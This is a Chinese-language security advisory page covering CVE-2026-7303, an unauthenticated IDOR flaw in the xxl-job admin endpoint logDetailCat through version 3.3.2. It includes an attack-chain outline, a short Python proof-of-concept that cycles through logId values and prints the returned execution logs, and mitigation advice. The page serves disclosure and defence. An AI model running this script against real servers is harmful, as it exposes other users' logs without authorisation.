IPBUF安全漏洞报告
English
CVE-2026-7303 CVSS 3.7 低危

CVE-2026-7303: XXL-JOB资源标识符控制不当漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-7303
漏洞类型
资源标识符控制不当 (IDOR)
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Xuxueli xxl-job

相关标签

IDORXXL-JOBAccess ControlInformation DisclosureCWE-639

漏洞概述

Xuxueli xxl-job 3.3.2及之前版本被发现存在安全漏洞,问题出在JobLogController.java文件的logDetailCat函数中。由于未对logId参数实施有效的控制,导致资源标识符管理不当。远程攻击者无需认证即可利用该漏洞,通过篡改logId参数值来非授权获取敏感的执行日志信息。虽然利用复杂度较高,但仍存在信息泄露风险,建议立即升级至3.4.0版本进行修复。

技术细节

漏洞源于Xuxueli xxl-job组件Execution Log Handler中的访问控制缺陷,具体位于xxl-job-admin/src/main/java/com/xxl/job/admin/controller/biz/JobLogController.java文件的logDetailCat方法。该方法在接收用户提交的logId参数时,缺乏足够的权限验证逻辑,导致出现了不安全的直接对象引用(IDOR)漏洞。攻击者无需经过身份认证,即可向受影响端点发送特制的HTTP请求,通过遍历或猜测logId参数值,绕过业务逻辑限制,访问系统中其他用户的作业执行日志。尽管该漏洞的攻击复杂度被评定为较高,且利用难度较大,但鉴于无需用户交互且可远程触发,它仍构成了潜在的信息泄露风险,特别是在多租户或敏感日志处理场景中。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别互联网上暴露的Xuxueli xxl-job管理端点。
STEP 2
步骤2:构造请求
攻击者针对logDetailCat接口,构造包含恶意logId参数的HTTP GET请求。
STEP 3
步骤3:利用漏洞
无需认证,直接发送请求至服务器,利用IDOR缺陷遍历logId。
STEP 4
步骤4:获取数据
服务器返回对应ID的执行日志详情,攻击者成功获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-7303 # Author: Security Analyst # Description: Demonstration of IDOR in logDetailCat endpoint import requests def check_vulnerability(target_url): """ Attempts to access log details by manipulating the logId parameter. """ # The vulnerable endpoint path may vary based on deployment configuration endpoint = f"{target_url}/xxl-job-admin/logDetailCat" # An attacker can iterate through potential log IDs to access unauthorized data # Example log IDs to test log_ids = ["1", "2", "100", "999"] headers = { "User-Agent": "CVE-2026-7303-Scanner" } for log_id in log_ids: params = { "logId": log_id } try: response = requests.get(endpoint, params=params, headers=headers, timeout=10) # Check if the response contains log data (status 200) if response.status_code == 200: print(f"[+] Potential access to logId {log_id}:") print(response.text[:200]) # Print first 200 chars of response elif response.status_code == 404 or response.status_code == 500: print(f"[-] LogId {log_id} not found or server error.") else: print(f"[?] Unexpected status code for logId {log_id}: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[Error] Connection failed: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1:8080" check_vulnerability(target)

影响范围

Xuxueli xxl-job <= 3.3.2

防御指南

临时缓解措施
如果无法立即升级,建议在网络边界限制对/xxl-job-admin路径的访问来源,仅允许受信任的内网IP或管理主机访问,以减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表